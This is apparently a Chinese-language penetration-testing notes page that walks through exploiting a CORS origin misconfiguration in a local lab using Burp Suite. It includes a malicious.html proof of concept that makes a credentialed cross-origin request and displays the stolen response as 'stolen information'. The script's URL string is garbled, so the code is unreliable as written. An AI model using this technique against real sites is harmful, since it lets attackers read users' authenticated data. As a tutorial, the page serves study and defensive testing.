> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/cors-origin-pentesting-web.md).

# CORS 来源配置错误

### 跨域资源共享（CORS）：

这些信息都可在网站上获取：

<figure><img src="/files/329da1627f2eb5b96711e35822f0e2b3d6266f73" alt="" width="563"><figcaption></figcaption></figure>

我们用 Burp Suite 拦截它，并观察到两个字段“**访问控制凭据**”和“**来源**”在响应中配置错误：

<figure><img src="/files/5c86ca694685cbfcfdeefad8f0c5ad12075c5794" alt=""><figcaption></figcaption></figure>

我们添加一个 **新的来源字段** 到请求中，使用一个网页链接示例“google.com”，并观察到它被接受：

<figure><img src="/files/6ab80411c718a06f238d636356e847d47c732932" alt=""><figcaption></figcaption></figure>

我们创建一个 web 文件 **malicious.html** ，利用 origin 和 credentials 字段来利用该漏洞：

```html
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('GET', 'http://localhost:5000/confidentiathe , true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
		document.getElementById("stolenInfo").innerHTML = req.responseText;
   }
</script>
<center><h1>你已经被黑了，这是我从你那里偷来的信息</h1></center>
<p id="stolenInfo"></p>

```

使用 **Python**，我们创建一个 Web 服务器：

<figure><img src="/files/2bf6fe9de557e0f1451dbcc0579e05d9f49ba275" alt=""><figcaption></figcaption></figure>

我们访问我们的网站，而机密信息并未 **发送到我们的网站**:

<figure><img src="/files/52a69f7850cdf93f18d6307255629b521446299f" alt=""><figcaption></figcaption></figure>

如果 CORS 配置正确，我们会收到下面的错误：

<figure><img src="/files/1625757dbf91d4b3184b99314dc445443176aad7" alt=""><figcaption></figcaption></figure>


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